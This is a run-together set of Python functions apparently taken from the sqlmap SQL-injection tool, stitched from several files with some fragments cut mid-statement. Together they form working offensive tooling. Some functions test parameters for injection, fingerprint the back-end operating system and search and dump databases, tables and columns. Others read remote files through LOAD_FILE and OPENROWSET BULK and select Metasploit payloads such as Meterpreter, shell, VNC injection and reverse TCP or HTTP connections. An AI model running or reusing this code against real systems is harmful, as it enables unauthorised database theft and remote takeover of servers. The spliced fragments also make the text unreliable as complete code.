HTTPMETHOD.GET, HTTPMETHOD.POST) else place for parameter, value in paramDict.items(): if not proceed: break kb.vainRun = False testSqlInj = True paramKey = (conf.hostname, conf.path, place, parameter) if paramKey in kb.testedParams: testSqlInj = False infoMsg = "skipping previously processed %sparameter '%s'" % ( "%s " % paramType if paramType != parameter else "", parameter) logger.info(infoMsg) elif any(_ in conf.testParameter for _ in (parameter, removePostHintPrefix(parameter))): pass elif parameter in conf.rParam: testSqlInj = False infoMsg = "skipping randomizing %sparameter '%s'" % ( "%s " % paramType if paramType != parameter else "", parameter) logger.info(infoMsg) elif parameter in conf.skip or kb.postHint and parameter.split( ' ')[-1] in conf.skip: testSqlInj = False infoMsg = "skipping %sparameter '%s'" % ( "%s " % paramType if paramType != parameter else "", parameter) logger.info(infoMsg) elif conf.paramExclude and ( re.search(conf.paramExclude, parameter, re.I) or kb.postHint and re.search(conf.paramExclude, parameter.split(' ')[-1], re.I)): testSqlInj = False infoMsg = "skipping %sparameter '%s'" % ( "%s " % paramType if paramType != parameter else "", parameter) logger.info(infoMsg) elif conf.csrfToken and re.search( conf.csrfToken, parameter, re.I): testSqlInj = False infoMsg = "skipping anti-CSRF token parameter '%s'" % parameter logger.info(infoMsg) # Ignore session-like parameters for --level < 4 elif conf.level < 4 and ( parameter.upper() in IGNORE_PARAMETERS or any(_ in parameter.lower() for _ in CSRF_TOKEN_PARAMETER_INFIXES) or parameter.upper().startswith( GOOGLE_ANALYTICS_COOKIE_PREFIX)): testSqlInj = False infoMsg = "ignoring %sparameter '%s'" % ( "%s " % paramType if paramType != parameter else "", parameter) logger.info(infoMsg) elif PAYLOAD.TECHNIQUE.BOOLEAN in conf.technique or conf.skipStatic: check = checkDynParam(place, parameter, value) if not check: warnMsg = "%sparameter '%s' does not appear to be dynamic" % ( "%s " % paramType if paramType != parameter else "", parameter) logger.warn(warnMsg) if conf.skipStatic: infoMsg = "skipping static %sparameter '%s'" % ( "%s " % paramType if paramType != parameter else "", parameter) logger.info(infoMsg) testSqlInj = False else: infoMsg = "%sparameter '%s' appears to be dynamic" % ( "%s " % paramType if paramType != parameter else "", parameter) logger.info(infoMsg) kb.testedParams.add(paramKey) if testSqlInj: try: if place == PLACE.COOKIE: pushValue(kb.mergeCookies) kb.mergeCookies = False check = heuristicCheckSqlInjection( place, parameter) if check != HEURISTIC_TEST.POSITIVE: if conf.smart or ( kb.ignoreCasted and check == HEURISTIC_TEST.CASTED): infoMsg = "skipping %sparameter '%s'" % ( "%s " % paramType if paramType != parameter else "", parameter) logger.info(infoMsg) continue infoMsg = "testing for SQL injection on %sparameter '%s'" % ( "%s " % paramType if paramType != parameter else "", parameter) logger.info(infoMsg) injection = checkSqlInjection( place, parameter, value) proceed = not kb.endDetection injectable = False if getattr(injection, "place", None) is not None: if NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE in injection.notes: kb.falsePositives.append(injection) else: injectable = True kb.injections.append(injection) # In case when user wants to end detection phase (Ctrl+C) if not proceed: break msg = "%sparameter '%s' " % ( "%s " % injection.place if injection.place != injection.parameter else "", injection.parameter) msg += "is vulnerable. Do you want to keep testing the others (if any)? [y/N] " if not readInput(msg, default='N', boolean=True): proceed = False paramKey = (conf.hostname, conf.path, None, None) kb.testedParams.add(paramKey) if not injectable: warnMsg = "%sparameter '%s' does not seem to be injectable" % ( "%s " % paramType if paramType != parameter else "", parameter) logger.warn(warnMsg) finally: if place == PLACE.COOKIE: kb.mergeCookies = popValue() if len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None): if kb.vainRun and not conf.multipleTargets: errMsg = "no parameter(s) found for testing in the provided data " errMsg += "(e.g. GET parameter 'id' in 'www.site.com/index.php?id=1')" if kb.originalPage: advice = [] if not conf.forms and re.search( r"<form", kb.originalPage) is not None: advice.append("--forms") if not conf.crawlDepth and re.search( r"href=[\"']/?\w", kb.originalPage) is not None: advice.append("--crawl=2") if advice: errMsg += ". You are advised to rerun with '%s'" % ' '.join( advice) raise SqlmapNoneDataException(errMsg) else: errMsg = "all tested parameters do not appear to be injectable." if conf.level < 5 or conf.risk < 3: errMsg += " Try to increase values for '--level'/'--risk' options " errMsg += "if you wish to perform more tests." if isinstance(conf.technique, list) and len(conf.technique) < 5: errMsg += " Rerun without providing the option '--technique'." if not conf.textOnly and kb.originalPage: percent = ( 100.0 * len(getFilteredPageContent(kb.originalPage)) / len(kb.originalPage)) if kb.dynamicMarkings: errMsg += " You can give it a go with the switch '--text-only' " errMsg += "if the target page has a low percentage " errMsg += "of textual content (~%.2f%% of " % percent errMsg += "page content is text)." elif percent < LOW_TEXT_PERCENT and not kb.errorIsNone: errMsg += " Please retry with the switch '--text-only' " errMsg += "(along with --technique=BU) as this case " errMsg += "looks like a perfect candidate " errMsg += "(low textual content along with inability " errMsg += "of comparison engine to detect at least " errMsg += "one dynamic parameter)." if kb.heuristicTest == HEURISTIC_TEST.POSITIVE: errMsg += " As heuristic test turned out positive you are " errMsg += "strongly advised to continue on with the tests." if conf.string: errMsg += " Also, you can try to rerun by providing a " errMsg += "valid value for option '--string' as perhaps the string you " errMsg += "have chosen does not match " errMsg += "exclusively True responses." elif conf.regexp: errMsg += " Also, you can try to rerun by providing a " errMsg += "valid value for option '--regexp' as perhaps the regular " errMsg += "expression that you have chosen " errMsg += "does not match exclusively True responses." if not conf.tamper: errMsg += " If you suspect that there is some kind of protection mechanism " errMsg += "involved (e.g. WAF) maybe you could try to use " errMsg += "option '--tamper' (e.g. '--tamper=space2comment')" if not conf.randomAgent: errMsg += " and/or switch '--random-agent'" raise SqlmapNotVulnerableException(errMsg.rstrip('.')) else: # Flush the flag kb.testMode = False _saveToResultsFile() _saveToHashDB() _showInjections() _selectInjection() if kb.injection.place is not None and kb.injection.parameter is not None: if conf.multipleTargets: message = "do you want to exploit this SQL injection? [Y/n] " condition = readInput(message, default='Y', boolean=True) else: condition = True if condition: action() except KeyboardInterrupt: if conf.multipleTargets: warnMsg = "user aborted in multiple target mode" logger.warn(warnMsg) message = "do you want to skip to the next target in list? [Y/n/q]" choice = readInput(message, default='Y').upper() if choice == 'N': return False elif choice == 'Q': raise SqlmapUserQuitException else: raise except SqlmapSkipTargetException: pass except SqlmapUserQuitException: raise except SqlmapSilentQuitException: raise except SqlmapBaseException as ex: errMsg = getSafeExString(ex) if conf.multipleTargets: _saveToResultsFile() errMsg += ", skipping to the next %s" % ("form" if conf.forms else "URL") logger.error(errMsg.lstrip(", ")) else: logger.critical(errMsg) return False finally: showHttpErrorCodes() if kb.maxConnectionsFlag: warnMsg = "it appears that the target " warnMsg += "has a maximum connections " warnMsg += "constraint" logger.warn(warnMsg) if kb.dataOutputFlag and not conf.multipleTargets: logger.info("fetched data logged to text files under '%s'" % conf.outputPath) if conf.multipleTargets: if conf.resultsFile: infoMsg = "you can find results of scanning in multiple targets " infoMsg += "mode inside the CSV file '%s'" % conf.resultsFile logger.info(infoMsg) return True
def checkDbmsOs(self, detailed=False): if Backend.getOs(): return infoMsg = "fingerprinting the back-end DBMS operating system " infoMsg += "version and service pack" logger.info(infoMsg) query = "(SELECT LENGTH(OS_NAME) FROM SYSIBMADM.ENV_SYS_INFO WHERE OS_NAME LIKE '%WIN%')>0" result = inject.checkBooleanExpression(query) if not result: Backend.setOs(OS.LINUX) else: Backend.setOs(OS.WINDOWS) infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs() if result: versions = { "2003": ("5.2", (2, 1)), "2008": ("7.0", (1, )), "2000": ("5.0", (4, 3, 2, 1)), "7": ("6.1", (1, 0)), "XP": ("5.1", (2, 1)), "NT": ("4.0", (6, 5, 4, 3, 2, 1)) } # Get back-end DBMS underlying operating system version for version, data in list(versions.items()): query = "(SELECT LENGTH(OS_VERSION) FROM SYSIBMADM.ENV_SYS_INFO WHERE OS_VERSION = '%s')>0" % data[ 0] result = inject.checkBooleanExpression(query) if result: Backend.setOsVersion(version) infoMsg += " %s" % Backend.getOsVersion() break if not Backend.getOsVersion(): return # Get back-end DBMS underlying operating system service pack for sp in versions[Backend.getOsVersion()][1]: query = "(SELECT LENGTH(OS_RELEASE) FROM SYSIBMADM.ENV_SYS_INFO WHERE OS_RELEASE LIKE '%Service Pack " + str( sp) + "%')>0" result = inject.checkBooleanExpression(query) if result: Backend.setOsServicePack(sp) break if not Backend.getOsServicePack(): Backend.setOsServicePack(0) debugMsg = "assuming the operating system has no service pack" logger.debug(debugMsg) if Backend.getOsVersion(): infoMsg += " Service Pack %d" % Backend.getOsServicePack() logger.info(infoMsg)
def searchDb(self): foundDbs = [] rootQuery = queries[Backend.getIdentifiedDbms()].search_db dbList = conf.db.split(',') if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: dbCond = rootQuery.inband.condition2 else: dbCond = rootQuery.inband.condition dbConsider, dbCondParam = self.likeOrExact("database") for db in dbList: values = [] db = safeSQLIdentificatorNaming(db) if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): db = db.upper() infoMsg = "searching database" if dbConsider == "1": infoMsg += "s LIKE" infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(db) logger.info(infoMsg) if conf.excludeSysDbs: exclDbsQuery = "".join(" AND '%s' != %s" % (unsafeSQLIdentificatorNaming(db), dbCond) for db in self.excludeDbsList) infoMsg = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(db for db in self.excludeDbsList)) logger.info(infoMsg) else: exclDbsQuery = "" dbQuery = "%s%s" % (dbCond, dbCondParam) dbQuery = dbQuery % unsafeSQLIdentificatorNaming(db) if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: query = rootQuery.inband.query2 else: query = rootQuery.inband.query query = query % (dbQuery + exclDbsQuery) values = inject.getValue(query, blind=False, time=False) if not isNoneValue(values): values = arrayizeValue(values) for value in values: value = safeSQLIdentificatorNaming(value) foundDbs.append(value) if not values and isInferenceAvailable() and not conf.direct: infoMsg = "fetching number of database" if dbConsider == "1": infoMsg += "s LIKE" infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(db) logger.info(infoMsg) if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: query = rootQuery.blind.count2 else: query = rootQuery.blind.count query = query % (dbQuery + exclDbsQuery) count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNumPosStrValue(count): warnMsg = "no database" if dbConsider == "1": warnMsg += "s LIKE" warnMsg += " '%s' found" % unsafeSQLIdentificatorNaming(db) logger.warn(warnMsg) continue indexRange = getLimitRange(count) for index in indexRange: if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: query = rootQuery.blind.query2 else: query = rootQuery.blind.query query = query % (dbQuery + exclDbsQuery) query = agent.limitQuery(index, query, dbCond) value = unArrayizeValue(inject.getValue(query, union=False, error=False)) value = safeSQLIdentificatorNaming(value) foundDbs.append(value) conf.dumper.lister("found databases", foundDbs)
def searchColumn(self): bruteForce = False if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: errMsg = "information_schema not available, " errMsg += "back-end DBMS is MySQL < 5.0" bruteForce = True if bruteForce: message = "do you want to use common column existence check? %s" % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS,) else "[y/N/q]") choice = readInput(message, default='Y' if 'Y' in message else 'N').upper() if choice == 'N': return elif choice == 'Q': raise SqlmapUserQuitException else: regex = '|'.join(conf.col.split(',')) conf.dumper.dbTableColumns(columnExists(paths.COMMON_COLUMNS, regex)) message = "do you want to dump entries? [Y/n] " if readInput(message, default='Y', boolean=True): self.dumpAll() return rootQuery = queries[Backend.getIdentifiedDbms()].search_column foundCols = {} dbs = {} whereDbsQuery = "" whereTblsQuery = "" infoMsgTbl = "" infoMsgDb = "" colList = conf.col.split(',') if conf.excludeCol: colList = [_ for _ in colList if _ not in conf.excludeCol.split(',')] origTbl = conf.tbl origDb = conf.db colCond = rootQuery.inband.condition dbCond = rootQuery.inband.condition2 tblCond = rootQuery.inband.condition3 colConsider, colCondParam = self.likeOrExact("column") for column in colList: values = [] column = safeSQLIdentificatorNaming(column) conf.db = origDb conf.tbl = origTbl if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): column = column.upper() infoMsg = "searching column" if colConsider == "1": infoMsg += "s LIKE" infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(column) foundCols[column] = {} if conf.tbl: _ = conf.tbl.split(',') whereTblsQuery = " AND (" + " OR ".join("%s = '%s'" % (tblCond, unsafeSQLIdentificatorNaming(tbl)) for tbl in _) + ")" infoMsgTbl = " for table%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(tbl) for tbl in _)) if conf.db == CURRENT_DB: conf.db = self.getCurrentDb() if conf.db: _ = conf.db.split(',') whereDbsQuery = " AND (" + " OR ".join("%s = '%s'" % (dbCond, unsafeSQLIdentificatorNaming(db)) for db in _) + ")" infoMsgDb = " in database%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(db) for db in _)) elif conf.excludeSysDbs: whereDbsQuery = "".join(" AND %s != '%s'" % (dbCond, unsafeSQLIdentificatorNaming(db)) for db in self.excludeDbsList) msg = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(db) for db in self.excludeDbsList)) logger.info(msg) else: infoMsgDb = " across all databases" logger.info("%s%s%s" % (infoMsg, infoMsgTbl, infoMsgDb)) colQuery = "%s%s" % (colCond, colCondParam) colQuery = colQuery % unsafeSQLIdentificatorNaming(column) if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: if not all((conf.db, conf.tbl)): # Enumerate tables containing the column provided if # either of database(s) or table(s) is not provided query = rootQuery.inband.query query = query % (colQuery + whereDbsQuery + whereTblsQuery) values = inject.getValue(query, blind=False, time=False) else: # Assume provided databases' tables contain the # column(s) provided values = [] for db in conf.db.split(','): for tbl in conf.tbl.split(','): values.append([safeSQLIdentificatorNaming(db), safeSQLIdentificatorNaming(tbl, True)]) for db, tbl in filterPairValues(values): db = safeSQLIdentificatorNaming(db) tbls = tbl.split(',') if not isNoneValue(tbl) else [] for tbl in tbls: tbl = safeSQLIdentificatorNaming(tbl, True) if db is None or tbl is None: continue conf.db = db conf.tbl = tbl conf.col = column self.getColumns(onlyColNames=True, colTuple=(colConsider, colCondParam), bruteForce=False) if db in kb.data.cachedColumns and tbl in kb.data.cachedColumns[db]: if db not in dbs: dbs[db] = {} if tbl not in dbs[db]: dbs[db][tbl] = {} dbs[db][tbl].update(kb.data.cachedColumns[db][tbl]) if db in foundCols[column]: foundCols[column][db].append(tbl) else: foundCols[column][db] = [tbl] kb.data.cachedColumns = {} if not values and isInferenceAvailable() and not conf.direct: if not conf.db: infoMsg = "fetching number of databases with tables containing column" if colConsider == "1": infoMsg += "s LIKE" infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(column) logger.info("%s%s%s" % (infoMsg, infoMsgTbl, infoMsgDb)) query = rootQuery.blind.count query = query % (colQuery + whereDbsQuery + whereTblsQuery) count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNumPosStrValue(count): warnMsg = "no databases have tables containing column" if colConsider == "1": warnMsg += "s LIKE" warnMsg += " '%s'" % unsafeSQLIdentificatorNaming(column) logger.warn("%s%s" % (warnMsg, infoMsgTbl)) continue indexRange = getLimitRange(count) for index in indexRange: query = rootQuery.blind.query query = query % (colQuery + whereDbsQuery + whereTblsQuery) query = agent.limitQuery(index, query) db = unArrayizeValue(inject.getValue(query, union=False, error=False)) db = safeSQLIdentificatorNaming(db) if db not in dbs: dbs[db] = {} if db not in foundCols[column]: foundCols[column][db] = [] else: for db in conf.db.split(',') if conf.db else (self.getCurrentDb(),): db = safeSQLIdentificatorNaming(db) if db not in foundCols[column]: foundCols[column][db] = [] origDb = conf.db origTbl = conf.tbl for column, dbData in foundCols.items(): colQuery = "%s%s" % (colCond, colCondParam) colQuery = colQuery % unsafeSQLIdentificatorNaming(column) for db in dbData: conf.db = origDb conf.tbl = origTbl infoMsg = "fetching number of tables containing column" if colConsider == "1": infoMsg += "s LIKE" infoMsg += " '%s' in database '%s'" % (unsafeSQLIdentificatorNaming(column), unsafeSQLIdentificatorNaming(db)) logger.info(infoMsg) query = rootQuery.blind.count2 query = query % unsafeSQLIdentificatorNaming(db) query += " AND %s" % colQuery query += whereTblsQuery count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNumPosStrValue(count): warnMsg = "no tables contain column" if colConsider == "1": warnMsg += "s LIKE" warnMsg += " '%s' " % unsafeSQLIdentificatorNaming(column) warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(db) logger.warn(warnMsg) continue indexRange = getLimitRange(count) for index in indexRange: query = rootQuery.blind.query2 if query.endswith("'%s')"): query = query[:-1] + " AND %s)" % (colQuery + whereTblsQuery) else: query += " AND %s" % (colQuery + whereTblsQuery) query = safeStringFormat(query, unsafeSQLIdentificatorNaming(db)) query = agent.limitQuery(index, query) tbl = unArrayizeValue(inject.getValue(query, union=False, error=False)) kb.hintValue = tbl tbl = safeSQLIdentificatorNaming(tbl, True) conf.db = db conf.tbl = tbl conf.col = column self.getColumns(onlyColNames=True, colTuple=(colConsider, colCondParam), bruteForce=False) if db in kb.data.cachedColumns and tbl in kb.data.cachedColumns[db]: if db not in dbs: dbs[db] = {} if tbl not in dbs[db]: dbs[db][tbl] = {} dbs[db][tbl].update(kb.data.cachedColumns[db][tbl]) kb.data.cachedColumns = {} if db in foundCols[column]: foundCols[column][db].append(tbl) else: foundCols[column][db] = [tbl] if dbs: conf.dumper.dbColumns(foundCols, colConsider, dbs) self.dumpFoundColumn(dbs, foundCols, colConsider) else: warnMsg = "no databases have tables containing any of the " warnMsg += "provided columns" logger.warn(warnMsg)
def searchTable(self): bruteForce = False if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: errMsg = "information_schema not available, " errMsg += "back-end DBMS is MySQL < 5.0" bruteForce = True if bruteForce: message = "do you want to use common table existence check? %s" % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS,) else "[y/N/q]") choice = readInput(message, default='Y' if 'Y' in message else 'N').upper() if choice == 'N': return elif choice == 'Q': raise SqlmapUserQuitException else: regex = '|'.join(conf.tbl.split(',')) return tableExists(paths.COMMON_TABLES, regex) foundTbls = {} tblList = conf.tbl.split(',') rootQuery = queries[Backend.getIdentifiedDbms()].search_table tblCond = rootQuery.inband.condition dbCond = rootQuery.inband.condition2 tblConsider, tblCondParam = self.likeOrExact("table") for tbl in tblList: values = [] tbl = safeSQLIdentificatorNaming(tbl, True) if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.FIREBIRD): tbl = tbl.upper() infoMsg = "searching table" if tblConsider == '1': infoMsg += "s LIKE" infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(tbl) if conf.db == CURRENT_DB: conf.db = self.getCurrentDb() if dbCond and conf.db: _ = conf.db.split(',') whereDbsQuery = " AND (" + " OR ".join("%s = '%s'" % (dbCond, unsafeSQLIdentificatorNaming(db)) for db in _) + ")" infoMsg += " for database%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(db for db in _)) elif conf.excludeSysDbs: whereDbsQuery = "".join(" AND '%s' != %s" % (unsafeSQLIdentificatorNaming(db), dbCond) for db in self.excludeDbsList) msg = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(db for db in self.excludeDbsList)) logger.info(msg) else: whereDbsQuery = "" logger.info(infoMsg) tblQuery = "%s%s" % (tblCond, tblCondParam) tblQuery = tblQuery % unsafeSQLIdentificatorNaming(tbl) if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: query = rootQuery.inband.query query = query % (tblQuery + whereDbsQuery) values = inject.getValue(query, blind=False, time=False) if values and Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD): newValues = [] if isinstance(values, basestring): values = [values] for value in values: dbName = "SQLite" if Backend.isDbms(DBMS.SQLITE) else "Firebird" newValues.append(["%s%s" % (dbName, METADB_SUFFIX), value]) values = newValues for foundDb, foundTbl in filterPairValues(values): foundDb = safeSQLIdentificatorNaming(foundDb) foundTbl = safeSQLIdentificatorNaming(foundTbl, True) if foundDb is None or foundTbl is None: continue if foundDb in foundTbls: foundTbls[foundDb].append(foundTbl) else: foundTbls[foundDb] = [foundTbl] if not values and isInferenceAvailable() and not conf.direct: if Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.FIREBIRD): if len(whereDbsQuery) == 0: infoMsg = "fetching number of databases with table" if tblConsider == "1": infoMsg += "s LIKE" infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(tbl) logger.info(infoMsg) query = rootQuery.blind.count query = query % (tblQuery + whereDbsQuery) count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNumPosStrValue(count): warnMsg = "no databases have table" if tblConsider == "1": warnMsg += "s LIKE" warnMsg += " '%s'" % unsafeSQLIdentificatorNaming(tbl) logger.warn(warnMsg) continue indexRange = getLimitRange(count) for index in indexRange: query = rootQuery.blind.query query = query % (tblQuery + whereDbsQuery) query = agent.limitQuery(index, query) foundDb = unArrayizeValue(inject.getValue(query, union=False, error=False)) foundDb = safeSQLIdentificatorNaming(foundDb) if foundDb not in foundTbls: foundTbls[foundDb] = [] if tblConsider == "2": foundTbls[foundDb].append(tbl) if tblConsider == "2": continue else: for db in conf.db.split(',') if conf.db else (self.getCurrentDb(),): db = safeSQLIdentificatorNaming(db) if db not in foundTbls: foundTbls[db] = [] else: dbName = "SQLite" if Backend.isDbms(DBMS.SQLITE) else "Firebird" foundTbls["%s%s" % (dbName, METADB_SUFFIX)] = [] for db in foundTbls.keys(): db = safeSQLIdentificatorNaming(db) infoMsg = "fetching number of table" if tblConsider == "1": infoMsg += "s LIKE" infoMsg += " '%s' in database '%s'" % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(db)) logger.info(infoMsg) query = rootQuery.blind.count2 if Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.FIREBIRD): query = query % unsafeSQLIdentificatorNaming(db) query += " AND %s" % tblQuery count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNumPosStrValue(count): warnMsg = "no table" if tblConsider == "1": warnMsg += "s LIKE" warnMsg += " '%s' " % unsafeSQLIdentificatorNaming(tbl) warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(db) logger.warn(warnMsg) continue indexRange = getLimitRange(count) for index in indexRange: query = rootQuery.blind.query2 if query.endswith("'%s')"): query = query[:-1] + " AND %s)" % tblQuery else: query += " AND %s" % tblQuery if Backend.isDbms(DBMS.FIREBIRD): query = safeStringFormat(query, index) if Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.FIREBIRD): query = safeStringFormat(query, unsafeSQLIdentificatorNaming(db)) if not Backend.isDbms(DBMS.FIREBIRD): query = agent.limitQuery(index, query) foundTbl = unArrayizeValue(inject.getValue(query, union=False, error=False)) if not isNoneValue(foundTbl): kb.hintValue = foundTbl foundTbl = safeSQLIdentificatorNaming(foundTbl, True) foundTbls[db].append(foundTbl) for db in foundTbls.keys(): if isNoneValue(foundTbls[db]): del foundTbls[db] if not foundTbls: warnMsg = "no databases contain any of the provided tables" logger.warn(warnMsg) return conf.dumper.dbTables(foundTbls) self.dumpFoundTables(foundTbls)
UNICODE_ENCODING, buffering=0) warnMsg += "Using temporary file '%s' instead" % conf.resultsFilename logger.warn(warnMsg) except IOError, _: errMsg = "unable to write to the temporary directory ('%s'). " % _ errMsg += "Please make sure that your disk is not full and " errMsg += "that you have sufficient write permissions to " errMsg += "create temporary files and/or directories" raise SqlmapSystemException(errMsg) conf.resultsFP.writelines( "Target URL,Place,Parameter,Technique(s),Note(s)%s" % os.linesep) logger.info( "using '%s' as the CSV results file in multiple targets mode" % conf.resultsFilename) def _createFilesDir(): """ Create the file directory. """ if not conf.rFile: return conf.filePath = paths.SQLMAP_FILES_PATH % conf.hostname if not os.path.isdir(conf.filePath): try:
def _checkFileLength(self, localFile, remoteFile, fileRead=False): if Backend.isDbms(DBMS.MYSQL): lengthQuery = "LENGTH(LOAD_FILE('%s'))" % remoteFile elif Backend.isDbms(DBMS.PGSQL) and not fileRead: lengthQuery = "SELECT SUM(LENGTH(data)) FROM pg_largeobject WHERE loid=%d" % self.oid elif Backend.isDbms(DBMS.MSSQL): self.createSupportTbl(self.fileTblName, self.tblField, "VARBINARY(MAX)") inject.goStacked( "INSERT INTO %s(%s) SELECT %s FROM OPENROWSET(BULK '%s', SINGLE_BLOB) AS %s(%s)" % (self.fileTblName, self.tblField, self.tblField, remoteFile, self.fileTblName, self.tblField)) lengthQuery = "SELECT DATALENGTH(%s) FROM %s" % (self.tblField, self.fileTblName) try: localFileSize = os.path.getsize(localFile) except OSError: warnMsg = "file '%s' is missing" % localFile logger.warn(warnMsg) localFileSize = 0 if fileRead and Backend.isDbms(DBMS.PGSQL): logger.info( "length of read file '%s' cannot be checked on PostgreSQL" % remoteFile) sameFile = True else: logger.debug("checking the length of the remote file '%s'" % remoteFile) remoteFileSize = inject.getValue(lengthQuery, resumeValue=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) sameFile = None if isNumPosStrValue(remoteFileSize): remoteFileSize = long(remoteFileSize) localFile = getUnicode(localFile, encoding=sys.getfilesystemencoding() or UNICODE_ENCODING) sameFile = False if localFileSize == remoteFileSize: sameFile = True infoMsg = "the local file '%s' and the remote file " % localFile infoMsg += "'%s' have the same size (%d B)" % ( remoteFile, localFileSize) elif remoteFileSize > localFileSize: infoMsg = "the remote file '%s' is larger (%d B) than " % ( remoteFile, remoteFileSize) infoMsg += "the local file '%s' (%dB)" % (localFile, localFileSize) else: infoMsg = "the remote file '%s' is smaller (%d B) than " % ( remoteFile, remoteFileSize) infoMsg += "file '%s' (%d B)" % (localFile, localFileSize) logger.info(infoMsg) else: sameFile = False warnMsg = "it looks like the file has not been written (usually " warnMsg += "occurs if the DBMS process user has no write " warnMsg += "privileges in the destination path)" logger.warn(warnMsg) return sameFile
def _runIcmpshMaster(self): infoMsg = "running icmpsh master locally" logger.info(infoMsg) icmpshmaster(self.lhostStr, self.rhostStr)
def _selectPayload(self): if Backend.isOs(OS.WINDOWS) and conf.privEsc: infoMsg = "forcing Metasploit payload to Meterpreter because " infoMsg += "it is the only payload that can be used to " infoMsg += "escalate privileges via 'incognito' extension, " infoMsg += "'getsystem' command or post modules" logger.info(infoMsg) _payloadStr = "windows/meterpreter" else: _payloadStr = self._skeletonSelection("payload", self._msfPayloadsList) if _payloadStr == "windows/vncinject": choose = False if Backend.isDbms(DBMS.MYSQL): debugMsg = "by default MySQL on Windows runs as SYSTEM " debugMsg += "user, it is likely that the the VNC " debugMsg += "injection will be successful" logger.debug(debugMsg) elif Backend.isDbms(DBMS.PGSQL): choose = True warnMsg = "by default PostgreSQL on Windows runs as " warnMsg += "postgres user, it is unlikely that the VNC " warnMsg += "injection will be successful" logger.warn(warnMsg) elif Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin( ("2005", "2008")): choose = True warnMsg = "it is unlikely that the VNC injection will be " warnMsg += "successful because usually Microsoft SQL Server " warnMsg += "%s runs as Network Service " % Backend.getVersion() warnMsg += "or the Administrator is not logged in" logger.warn(warnMsg) if choose: message = "what do you want to do?\n" message += "[1] Give it a try anyway\n" message += "[2] Fall back to Meterpreter payload (default)\n" message += "[3] Fall back to Shell payload" while True: choice = readInput(message, default="2") if not choice or choice == "2": _payloadStr = "windows/meterpreter" break elif choice == "3": _payloadStr = "windows/shell" break elif choice == "1": if Backend.isDbms(DBMS.PGSQL): logger.warn( "beware that the VNC injection might not work") break elif Backend.isDbms( DBMS.MSSQL) and Backend.isVersionWithin( ("2005", "2008")): break elif not choice.isdigit(): logger.warn("invalid value, only digits are allowed") elif int(choice) < 1 or int(choice) > 2: logger.warn("invalid value, it must be 1 or 2") if self.connectionStr.startswith( "reverse_http") and _payloadStr != "windows/meterpreter": warnMsg = "Reverse HTTP%s connection is only supported " % ( "S" if self.connectionStr.endswith("s") else "") warnMsg += "with the Meterpreter payload. Falling back to " warnMsg += "reverse TCP" logger.warn(warnMsg) self.connectionStr = "reverse_tcp" return _payloadStr
